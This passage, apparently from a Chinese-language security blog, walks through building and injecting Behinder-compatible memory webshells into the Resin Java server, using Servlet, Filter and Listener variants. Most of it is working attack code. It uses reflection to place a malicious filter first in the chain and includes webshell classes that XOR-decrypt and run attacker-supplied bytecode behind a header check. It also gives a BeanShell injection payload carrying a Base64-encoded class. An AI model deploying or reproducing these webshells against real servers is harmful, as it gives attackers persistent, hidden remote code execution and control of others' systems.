如图,返回的结果看起来成功了:
测试一下冰蝎能否链接到内存马:
链接成功。
除了这种直接使用ClassLoader
加载字节码的方式,还可以通过BCEL Classloader加载,该加载方式版本只要Java小于8u251
即可使用,更加方便:
new com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass("$$BCEL$$" + code);
编码可以使用:
byte[] bytecode = java.nio.file.Files.readAllBytes("./MemShellServlet.class");
String bcelClass = com.sun.org.apache.bcel.internal.classfile.Utility.encode(bytecode, true);
System.out.println("$$BCEL$$" + s);
Filter内存马
添加Filter
在上面已经找到了ServletContext
的实现类实际是WebApp
,而该类中的三个addFilter
实现如下:
public FilterRegistration.Dynamic addFilter(String filterName, String className) {
return this.addFilter(filterName, className, (Class)null, (Filter)null);
}
public FilterRegistration.Dynamic addFilter(String filterName, Class<? extends Filter> filterClass) {
return this.addFilter(filterName, filterClass.getName(), filterClass, (Filter)null);
}
public FilterRegistration.Dynamic addFilter(String filterName, Filter filter) {
Class cl = filter.getClass();
return this.addFilter(filterName, cl.getName(), cl, filter);
}
实际均调用了此方法添加Filter
:
private FilterRegistration.Dynamic addFilter(String filterName, String className, Class<? extends Filter> filterClass, Filter filter) {
if (!this.isInitializing()) {
throw new IllegalStateException();
} else {
try {
FilterConfigImpl config = new FilterConfigImpl();
config.setWebApp(this);
config.setServletContext(this);
config.setFilterName(filterName);
if (filter != null) {
config.setFilter(filter);
}
config.setFilterClass(className);
if (filterClass != null) {
config.setFilterClass(filterClass);
}
this.addFilter(config);
return config;
} catch (ClassNotFoundException var6) {
var6.printStackTrace();
throw new RuntimeException(var6.getMessage(), var6);
} catch (Exception var7) {
var7.printStackTrace();
return null;
}
}
}
那么其实其实不难发现添加Filter
实际最终还是通过this.addFilter(config)
的,该方法如下:
@Configurable
public void addFilter(FilterConfigImpl config) {
config.setServletContext(this);
config.setFilterManager(this._filterManager);
config.setWebApp(this);
this._filterManager.addFilter(config);
}
于是添加一个Filter
可以使用:
FilterConfigImpl config = new FilterConfigImpl();
WebApp app = (WebApp) req.getServletContext();
config.setServletContext(app);
config.setFilterName("MemShellFilter_test");
config.setFilterClass("com.test.resin.MemShellFilter");
app.addFilter(config);
测试一下,在执行代码前:
接下来执行代码,再次观察:
Filter路由映射
与Servlet
一样的,通过接口查看实现,可以发现javax.servlet.FilterRegistration:addMappingForUrlPatterns
只有一个实现,跟进:
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
if (!this._webApp.isInitializing()) {
throw new IllegalStateException();
} else {
try {
FilterMapping mapping = new FilterMapping();
mapping.setServletContext(this._webApp);
mapping.setFilterName(this._filterName);
if (dispatcherTypes != null) {
Iterator var5 = dispatcherTypes.iterator();
while(var5.hasNext()) {
DispatcherType dispatcherType = (DispatcherType)var5.next();
mapping.addDispatcher(dispatcherType);
}
}
FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();
String[] var12 = urlPatterns;
int var7 = urlPatterns.length;
for(int var8 = 0; var8 < var7; ++var8) {
String pattern = var12[var8];
urlPattern.addText(pattern);
}
urlPattern.init();
this._webApp.addFilterMapping(mapping);
} catch (Exception var10) {
throw new RuntimeException(var10.getMessage(), var10);
}
}
}
不看看出,这里实际很简单,就是构造FilterMapping
对象后往里添加FilterMapping.URLPattern
对象,测试代码如下:
FilterMapping mapping = new FilterMapping();
mapping.setServletContext(app);
mapping.setFilterClass("MemShellFilter_test");
FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();
urlPattern.addText("/*");
urlPattern.init();
app.addFilter(mapping);
在测试的Servlet
打个断点,可以发现我们的Filter
已经添加好了:
那么接下来需要考虑的就是如何调整一下Filter
的位置了。
实际上不难发现,在Webapp
的_filterMapper
成员中,_filterMap
是一个ArrayList
,并且存放了FilterMapping
,那么只需要在该成员最前面插入我们对应的FilterMapping
即可。
由于成员是私有的,必须通过反射去访问:
Field filterMapper = WebApp.class.getDeclaredField("_filterMapper");
filterMapper.setAccessible(true);
Field filterMap = FilterMapper.class.getDeclaredField("_filterMap");
filterMap.setAccessible(true);
FilterMapper mapper = (FilterMapper) filterMapper.get(app);
ArrayList<FilterMapping> map = (ArrayList) filterMap.get(mapper);
map.add(0, mapping);
合起来就是:
FilterConfigImpl config = new FilterConfigImpl();
WebApp app = (WebApp) req.getServletContext();
config.setServletContext(app);
config.setFilterName("MemShellFilter_test");
config.setFilterClass("com.test.resin.MemShellFilter");
app.addFilter(config);
FilterMapping mapping = new FilterMapping();
mapping.setServletContext(app);
mapping.setFilterName("MemShellFilter_test");
FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();
urlPattern.addText("/*");
urlPattern.init();
Field filterMapper = WebApp.class.getDeclaredField("_filterMapper");
filterMapper.setAccessible(true);
Field filterMap = FilterMapper.class.getDeclaredField("_filterMap");
filterMap.setAccessible(true);
FilterMapper mapper = (FilterMapper) filterMapper.get(app);
ArrayList<FilterMapping> map = (ArrayList) filterMap.get(mapper);
map.add(0, mapping);
但是很意外的是,这样打上的Filter
内存马,有时马上可以用,有时又不行,最后发现是缓存的锅,于是加一行清除缓存的即可:
app.clearCache();
测试一下,未添加Filter
前:
此时TestFilter
是唯一的Filter
,添加后:
此时MemShellFilter
也被添加,并且是Filter
的开始位置。
冰蝎内存马改造 - Resin Filter
接下来改写一下Filter
成冰蝎的内存马,和上面的Servlet
改写差不多。
做好相同的交互即可:
public class MemShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", servletRequest);
pageContext.put("response", servletResponse);
pageContext.put("session", request.getSession());
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte byteCode[] = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
} catch (Exception e) {
throw new RuntimeException(e);
}
} else {
filterChain.doFilter(servletRequest, servletResponse);
}
}
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
@Override
public void destroy() {}
}
注意这里还添加了X-Shell
头作为验证,测试连接:
注入内存马
BeanShell脚本不支持泛型,直接使用Object就可以了。
按照上面合起来的Payload,拼上定义类的Payload,如下:
Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
String sbc="yv66vgAAADQAogoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ%2BAQADKClWBwAIAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAsABwAKDAALAAwBAAlnZXRNZXRob2QBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwgADgEABFBPU1QKABAAEQcAEgwAEwAUAQAQamF2YS9sYW5nL1N0cmluZwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWggAFgEAB1gtU2hlbGwLAAcAGAwAGQAaAQAJZ2V0SGVhZGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsIABwBAApTSEVMTF9BVVRIBwAeAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0KAB0AAwsABwAhDAAiACMBAA5nZXRJbnB1dFN0cmVhbQEAJCgpTGphdmF4L3NlcnZsZXQvU2VydmxldElucHV0U3RyZWFtOwoAJQAmBwAnDAAoACkBACBqYXZheC9zZXJ2bGV0L1NlcnZsZXRJbnB1dFN0cmVhbQEABHJlYWQBAAUoW0IpSQoAKwAsBwAtDAAuAC8BABBqYXZhL3V0aWwvQXJyYXlzAQALY29weU9mUmFuZ2UBAAgoW0JJSSlbQgoAHQAxDAAyADMBAAV3cml0ZQEABShbQilWBwA1AQARamF2YS91dGlsL0hhc2hNYXAKADQAAwgAOAEAB3JlcXVlc3QKADQAOgwAOwA8AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsIAD4BAAhyZXNwb25zZQgAQAEAB3Nlc3Npb24LAAcAQgwAQwBEAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsHAEYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIIAEgBAAtkZWZpbmVDbGFzcwcASgEAD2phdmEvbGFuZy9DbGFzcwcATAEAAltCCQBOAE8HAFAMAFEAUgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAEVFlQRQEAEUxqYXZhL2xhbmcvQ2xhc3M7CgBJAFQMAFUAVgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAHQBYDABZAFoBAAt0b0J5dGVBcnJheQEABCgpW0IKAFwAXQcAXgwAXwBgAQAXY29tL3Rlc3QvTWVtU2hlbGxGaWx0ZXIBAAdEZWNyeXB0AQAGKFtCKVtCCgBiAGMHAGQMAGUAZgEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWCgACAGgMAGkAagEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoASQBsDABtAG4BAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsKAE4AcAwAcQByAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsKAGIAdAwAdQB2AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgBJAHgMAHkAegEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsKAAIAEQcAfQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAH8BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAfgCBDAAFAIIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYLAIQAhQcAhgwAhwCIAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEACGRvRmlsdGVyAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVggAigEAEGU0NWUzMjlmZWI1ZDkyNWIKABAAjAwAjQBaAQAIZ2V0Qnl0ZXMHAI8BABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEACkV4Y2VwdGlvbnMHAJYBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQANU3RhY2tNYXBUYWJsZQcAmgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QHAJwBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQcAngEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE01lbVNoZWxsRmlsdGVyLmphdmEAIQBcAAIAAQCOAAAABQABAAUABgABAJAAAAAdAAEAAQAAAAUqtwABsQAAAAEAkQAAAAYAAQAAAAoAAQCSAJMAAgCQAAAAGQAAAAIAAAABsQAAAAEAkQAAAAYAAQAAAAwAlAAAAAQAAQCVAAEAhwCXAAIAkAAAAgEABgAMAAABICvAAAc6BBkEuQAJAQASDbYAD5kBBRkEEhW5ABcCAMYA%2BRkEEhW5ABcCABIbtgAPmQDouwAdWbcAHzoFEQIAvAg6BhkEuQAgAQAZBrYAJDYHFQeeACUZBgMVB7gAKjoIGQUZCLYAMBkEuQAgAQAZBrYAJDYHp%2F%2FcuwA0WbcANjoIGQgSNyu2ADlXGQgSPSy2ADlXGQgSPxkEuQBBAQC2ADlXEkUSRwa9AElZAxJLU1kEsgBNU1kFsgBNU7YAUzoJKhkFtgBXtwBbOgoZCQS2AGEZCSq2AGe2AGsGvQACWQMZClNZBAO4AG9TWQUZCr64AG9TtgBzwABJOgsZC7YAdxkItgB7V6cADzoJuwB%2BWRkJtwCAv6cACy0rLLkAgwMAsQABAKEBBQEIAHwAAgCRAAAAZgAZAAAAEAAGABEAMgASADsAEwBCABQAUAAVAFUAFgBfABcAZgAYAHQAGQB3ABoAgAAbAIkAHACSAB0AoQAfAL8AIADKACEA0AAiAPoAIwEFACYBCAAkAQoAJQEUACcBFwAoAR8AKgCYAAAAWwAG%2FwBQAAgHAFwHAJkHAJsHAIQHAAcHAB0HAEsBAAAm%2FwCQAAkHAFwHAJkHAJsHAIQHAAcHAB0HAEsBBwA0AAEHAHz%2FAAsABQcAXAcAmQcAmwcAhAcABwAAAgcAlAAAAAYAAgCdAJUAAgBfAGAAAQCQAAAAYAAGAAQAAAAmEolNAz4dK76iABwrHSsdMyy2AIsdBGAQD34zgpFUhAMBp%2F%2FkK7AAAAACAJEAAAAWAAUAAAAuAAMALwALADAAHgAvACQAMgCYAAAADAAC%2FQAFBwAQAfoAHgABAJ8ABgABAJAAAAAZAAAAAQAAAAGxAAAAAQCRAAAABgABAAAANgABAKAAAAACAKE%3D";
byte[] bc = java.util.Base64.getDecoder().decode(sbc);
Object[] o = new Object[3];
o[0] = bc;o[1] = 0;o[2] = bc.length;
defineClass.invoke((Object)org.me.DemoServlet.class.getClassLoader(), o);
print("Class Load Done");
print(com.test.MemShellFilter.class);
javax.servlet.ServletRequest request=(javax.servlet.ServletRequest)bsh.httpServletRequest;
com.caucho.server.webapp.WebApp app=(com.caucho.server.webapp.WebApp)request.getServletContext();
com.caucho.server.dispatch.FilterConfigImpl config = new com.caucho.server.dispatch.FilterConfigImpl();
config.setServletContext(app);
config.setFilterName("MemShellFilter_test");
config.setFilterClass("com.test.MemShellFilter");
app.addFilter(config);
com.caucho.server.dispatch.FilterMapping mapping = new com.caucho.server.dispatch.FilterMapping();
mapping.setServletContext(app);
mapping.setFilterName("MemShellFilter_test");
com.caucho.server.dispatch.FilterMapping.URLPattern urlPattern = mapping.createUrlPattern();
urlPattern.addText("/*");
urlPattern.init();
java.lang.reflect.Field filterMapper = com.caucho.server.webapp.WebApp.class.getDeclaredField("_filterMapper");
filterMapper.setAccessible(true);
java.lang.reflect.Field filterMap = com.caucho.server.dispatch.FilterMapper.class.getDeclaredField("_filterMap");
filterMap.setAccessible(true);
com.caucho.server.dispatch.FilterMapper mapper = (com.caucho.server.dispatch.FilterMapper)filterMapper.get(app);
java.util.ArrayList map = (java.util.ArrayList) filterMap.get(mapper);
map.add(0, mapping);
print("Memshell inject Done");
注入完成,链接:
Listener内存马
Listener类型
分为三种类型,分别为ServletContextListener
、ServletRequestListener
以及HttpSessionListener
,与其对应属性变更则有ServletContextAttributeListener
、ServletRequestAttributeListener
以及HttpSessionAttributeListener
,但是对对于HttpSerssion
来说实际还有两个分别为HttpSessionBindingListener
以及HttpSessionActivationListener
。具体可参考下表:
从这里不难看出,实际上适合用于内存马的只有一个类型,即ServletRequestListener
。
添加Listener
还是一样,通过ServletContext
接口的addListener
跟进。实际的三个实现方法如下:
public void addListener(String className) {
try {
Class listenerClass = Class.forName(className, false, this.getClassLoader());
this.addListener(listenerClass);
} catch (ClassNotFoundException var3) {
throw ConfigException.create(var3);
}
}
public void addListener(Class<? extends EventListener> listenerClass) {
this.addListener((EventListener)this._cdiManager.createTransientObject(listenerClass));
}
public <T extends EventListener> void addListener(T listener) {
this.addListenerObject(listener, true);
}
可以看到第一个实际调用了第二个,第二个实际调用了第三个,而第三个实际调用的是这个方法:
private void addListenerObject(Object listenerObj, boolean isStart) {
if (listenerObj instanceof ServletContextListener) {
ServletContextListener scListener = (ServletContextListener)listenerObj;
if (!this.hasListener(this._webAppListeners, listenerObj.getClass())) {
this._webAppListeners.add(scListener);
if (isStart && this._isAfterWebAppStart) {
ServletContextEvent event = new ServletContextEvent(this);
scListener.contextInitialized(event);
}
}
}
if (listenerObj instanceof ServletContextAttributeListener) {
this.addAttributeListener((ServletContextAttributeListener)listenerObj);
}
if (listenerObj instanceof ServletRequestListener) {
this._requestListeners.add((ServletRequestListener)listenerObj);
this._requestListenerArray = new ServletRequestListener[this._requestListeners.size()];
this._requestListeners.toArray(this._requestListenerArray);
}
if (listenerObj instanceof ServletRequestAttributeListener) {
this._requestAttributeListeners.add((ServletRequestAttributeListener)listenerObj);
this._requestAttributeListenerArray = new ServletRequestAttributeListener[this._requestAttributeListeners.size()];
this._requestAttributeListeners.toArray(this._requestAttributeListenerArray);
}
if (listenerObj instanceof HttpSessionListener) {
this.getSessionManager().addListener((HttpSessionListener)listenerObj);
}
if (listenerObj instanceof HttpSessionAttributeListener) {
this.getSessionManager().addAttributeListener((HttpSessionAttributeListener)listenerObj);
}
if (listenerObj instanceof HttpSessionActivationListener) {
this.getSessionManager().addActivationListener((HttpSessionActivationListener)listenerObj);
}
}
不难看出,这里对传入的类型进行了判断,然后将其添加到了对应的Listener
列表中。因此,动态地添加Listener
也很简单,通过字符串的方式传入类名即可。
app.addListener("com.test.resin.MemShellListener");
app.clearCache();
由于Listener
对所有的请求都起效,因此无需对其进行路由映射。
冰蝎内存马改造 - Resin Listener
改造成对应的Listener
内存马,如下:
public class MemShellListener implements ServletRequestListener {
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
Field _response = request.getClass().getDeclaredField("_response");
_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) _response.get(request);
response.reset();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", request.getSession());
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte[] byteCode = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
}
} catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |
InvocationTargetException | InstantiationException e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
测试连接:
此处可能会出现解密出错的问题,需要注意的是,在
Servlet
内存马以及Filter
内存马中,Reponse
都是由我们的内存马完全控制的,Servlet
内存马在拿到HttpServletResponse
时该对象没有写入过任何响应文,而Filter
内存马在拿到HttpServletResponse
时,由于该Filter
是第一位,因此理论上不会写入响应文(不排除存在Listener
初始化时写入响应文,概率很低),在这样的情况下响应正文完全由内存马控制,因此可以正常解密。 在此处则不行了,由于Listener
内存马需要有一个合适的Servlet
处理Request
才能到内存马处理逻辑,因此此时响应文可能已经被Servlet
写入过,将响应重置(response.reset()
)是必须的,这可以避免解密错误;但是如果Servlet
已经commit
响应文了,则无法直接通过reset
方法重置,需要通过反射调用reset(true)
。
因此,实际上最终的Listener
内存马是这样的:
public class MemShellListener implements ServletRequestListener {
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
Field _response = request.getClass().getDeclaredField("_response");
_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) _response.get(request);
Method reset = HttpServletResponseImpl.class.getDeclaredMethod("reset", boolean.class);
reset.setAccessible(true);
reset.invoke(response, true);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", request.getSession());
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte[] byteCode = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
}
} catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |
InvocationTargetException | InstantiationException e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
}
}
这样子虽然可以连接了,但是还是不太完美,因为只有支持POST
方法的Servlet
才可以连接上内存马,因此需要想办法在任意的Servlet
都连接上,还需要再继续分析。
Servlet
如果不重写doPost
方法,那么默认就是调用的HttpServlet
的doPost
方法,这个方法是这样的:
protected void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
String protocol = req.getProtocol();
String msg = req.getMethod() + " not supported";
if (protocol.endsWith("1.1")) {
res.sendError(405, msg);
} else {
res.sendError(400, msg);
}
}
非常简单,再看res.sendError
方法,这实际上是HttpServletResponseImpl
的sendError
方法,而这个方法有一个很有意思的地方:
if (this.isCommitted()) {
throw new IllegalStateException(L.l("sendError() forbidden after buffer has been committed."));
} else {
// code
}
可以看到,如果response
已经处于committed
状态,那么这个方法就不会继续,而是直接抛出异常。这是一个十分重要的特性,可以阻止由于缺乏方法实现的默认do[Method]
方法写入响应文,从而降低了后续清理response
的难度。
实际上我尝试过在
response.reset(true)
和response.resetBuffer()
,但是他们对于默认do[Method]
方法写入的内容都无法清除,从而无法在不支持POST
方法的Servlet
连接到内存马。
结合前面的response.reset(true)
可以忽略是否为committed
状态重置,于是可以形成这样的一个利用方式:requestInitialized[commit some response] -> servlet[throw Exception without writing response] -> requestDestroyed[call reset(true) and fill result]
。这样的利用方式,不但可以防止默认的do[Method]
方法写入内容,也可以防止正常的Post
请求处理方法写入内容,而在中间抛出异常是无所谓的,在最后的requestDestroyed
会处理好响应文。因此最完美的Resin Listener冰蝎内存马代码是这样的:
public class MemShellListener implements ServletRequestListener {
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
Field _response = request.getClass().getDeclaredField("_response");
_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) _response.get(request);
Method reset = HttpServletResponseImpl.class.getDeclaredMethod("reset", boolean.class);
reset.setAccessible(true);
reset.invoke(response, true);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", request.getSession());
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte[] byteCode = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
}
} catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |
InvocationTargetException | InstantiationException e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
Field _response = request.getClass().getDeclaredField("_response");
_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) _response.get(request);
response.getWriter().println("SHELL INITIAL");
response.flushBuffer();
}
} catch (NoSuchFieldException | IllegalAccessException | IOException e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
}
正常连接内存马:
经过查看别人的内存马实现,发现自己从一开始就弄错了,不应该在
requestDestroyed
里实现,而是应该在requestInitialized
里实现,这就可以在任意位置链接了。
最终的内存马是:
public class MemShellListener implements ServletRequestListener {
private byte[] Decrypt(byte[] data)
{
String key="e45e329feb5d925b";
for (int i = 0; i < data.length; i++) {
data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return data;
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
try {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
if (request.getMethod().equals("POST") && request.getHeader("X-Shell") != null && request.getHeader("X-Shell").equals("SHELL_AUTH")) {
Field _response = request.getClass().getDeclaredField("_response");
_response.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) _response.get(request);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length = request.getInputStream().read(buf);
while (length > 0) {
byte[] data = Arrays.copyOfRange(buf, 0, length);
bos.write(data);
length = request.getInputStream().read(buf);
}
HashMap<String, Object> pageContext = new HashMap<>();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", request.getSession());
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
byte[] byteCode = Decrypt(bos.toByteArray());
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(this.getClass().getClassLoader(), byteCode, 0, byteCode.length);
clazz.newInstance().equals(pageContext);
}
} catch (NoSuchFieldException | IllegalAccessException | IOException | NoSuchMethodException |
InvocationTargetException | InstantiationException e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
}
注入内存马
比Filter还简单,直接获取到app
后添加就好了:
Class[] dcm_args=new Class[3];
dcm_args[0]=byte[].class;dcm_args[1]=int.class;dcm_args[2]=int.class;
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", dcm_args);
defineClass.setAccessible(true);
